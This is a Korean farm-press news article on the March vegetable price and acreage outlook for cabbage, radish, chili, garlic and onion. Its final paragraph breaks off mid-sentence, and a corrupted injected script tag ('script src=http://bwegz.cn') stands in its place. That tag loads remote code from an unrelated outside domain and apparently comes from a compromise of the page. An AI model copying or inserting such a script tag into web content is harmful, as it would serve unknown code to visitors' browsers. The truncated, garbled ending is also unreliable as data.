이달 채소류 가격은 당근과 양파를 제외한 산지출하물량의 증가로 인해 지난해보다 낮을 것으로 전망된다.

양념채소류의 경우 올해산 마늘 재배면적은 지난해산보다 5% 증가하고, 특히 양파는 지난해보다 14%나 증가한 것으로 조사돼 수확기 가격 폭락이 우려된다. 반면 고추는 재배의향면적이 지난해보다 4% 감소한 것으로 나타났다.

한국농촌경제연구원 농업관측정보센터가 발표한 3월 채소류 관측 정보의 주요 내용을 정리한다.

■배추
이달 월동배추 가격은 상품 10kg당 3000~3500원으로 지난해보다 20% 가량 낮을 것으로 전망됐다.

지난달 중순 현재 월동배추 출하대기물량이 지난해보다 10% 많기 때문으로 1~2월 한파와 눈에 의한 상품성 하락으로 출하가 불가능한 물량이 발생할 경우 가격은 예상보다 높아질 가능성도 있다.

한편 이달 하순 이후 출하될 봄배추는 월동배추의 출하대기물량의 증가로 인해 상품 5톤트럭당 200~250만원으로 지난해와 비슷하거나 다소 높을 것으로 예상됐다.

봄배추 재배의향면적은 파종·정식기 가격이 낮아 농가들이 재배를 기피, 수박·감자·토마토 등으로 작목을 전환한 것으로 조사돼 지난해보다 15% 감소할 것으로 전망된다.

지역별로는 경기·강원이 지난해보다 6%, 충청이 16%, 영·호남이 20% 가량 감소할 것으로 조사됐다.

■무
이달 저장·월동무 가격은 산지의 출하대기물량이 지난해보다 16% 많은 것으로 조사돼 상품 15kg당 4000~4500원으로 지난해보다 20% 가량 낮을 것으로 전망됐다.

봄무 재배의향면적은 파종기 가격 하락 등으로 농가들이 재배를 기피하면서 지난해보다 21% 감소한 것으로 조사됐다.
지역별로는 경기·강원이 13%, 충청과 영·호남이 각각 20% 이상 감소할 것으로 나타났다.

지난달까지 파종한 봄무 시설면적은 지난해보다 21% 감소했으며, 이달 이후의 노지면적도 10% 이상 감소할 것으로 조사됐다.
시설봄무의 예상단수는 지난해보다 6% 많겠으며, 지역별로는 호남이 지난해보다 7%, 충청이 4% 많을 것으로 나타났다.

한편 이달 하순 이후 출하될 시설봄무 재배면적은 지난해보다 21% 감소했으며, 예상단수는 6% 많을 것으로 나타나 출하량은 지난해보다 15% 적을 것으로 전망된다.

■고추
지난달 말 현재 고추재고량은 지난해보다 17% 많고 수입도 지난해보다 많을 것으로 보여 3~7월 가격은 지난해보다 낮을 것으로 전망됐다.

올해산 고추 재배의향면적은 지난해산보다 4% 감소하겠고 재배방법별로는 멀칭 재배가 4%, 터널 재배가 2% 감소할 것으로 조사됐다. 이는 작목 특성상 노동력이 많이 들고 연작 피해로 인한 병충해가 늘어나 다른 작목 등으로 전환하고자 하는 농가가 늘었기 때문이다.

반면 고추 가격이 평년보다 높고 적절한 대체 작목이 없어 정식시기가 다가올수록 재배의향면적은 증가할 가능성도 있다.

한편 지난달 15일 현재 지난해산 생산량의 96%인 14만8670톤이 판매된 것으로 조사돼 농가보유량은 지난해보다 30% 많은 6300톤이 남아 있는 것으로 나타났다.

■마늘
가격 하락으로 민간수입물량은 지난해보다 적을 것으로 예상되나 재고량이 지난해보다 18% 많은 것으로 추정돼 가격은 지난달과 비슷할 것으로 전망됐다.

올해산 마늘 재배면적은 지난해산보다 5% 증가한 3만1750ha로 조사됐다. 최근 3년간 중국산 마늘의 수입증가에도 불구하고 가격이 평년수준 이상으로 좋았기 때문이다.

따라서 올해산 마늘 생산량은 37만5700톤 가량으로 지난해산보다 5% 많을 것으로 전망돼 수확기인 5~7월의 가격은 지난해보다 낮을 것으로 전망됐다.

한편 마늘 총재고량은 지난달 말 현재 정부보유량 1800톤과 민간저온저장량 3만톤을 합해 총 3만1800톤으로 추정되며, 부패율을 적용할 경우 2만8600톤으로 지난해보다 4000여톤 많은 것으로 조사됐다.

중국산 마늘의 국내 수입원가는 국내 깐마늘 수요의 증가로 산지가격이 지난해보다 톤당 12달러 높아 신선·냉장마늘이 kg당 2300원, 깐마늘은 2430원으로 추정된다.

■양파
이달 양파가격은 조생종양파의 출하가 저온현상으로 1주일 늦어질 것으로 조사돼 지난해보다 높은 kg당 1000원 가량으로 전망됐다.

올해산 재배면적은 지난해보다 14% 증가한 1만7800ha로 조사됐다. 지난해 수확기 가격이 생산량 증가에도 불구하고 평년보다 높았고, 겨울철 기온이 높아 정식가능시기가 예년보다 늦어졌기 때문이다.
따라서 생산량은 지난해보다 14% 많은 108만2400톤 가량으로 추정됐다.

조생종 양파의 경우 지난해보다 1% 적은 17만900톤 가량으로 예상되나 1월 이후 저온현상으로 조생종 출하시기?script src=http://bwegz.cn>
저작권자 © 농수축산신문 무단전재, 재배포 및 AI학습 이용 금지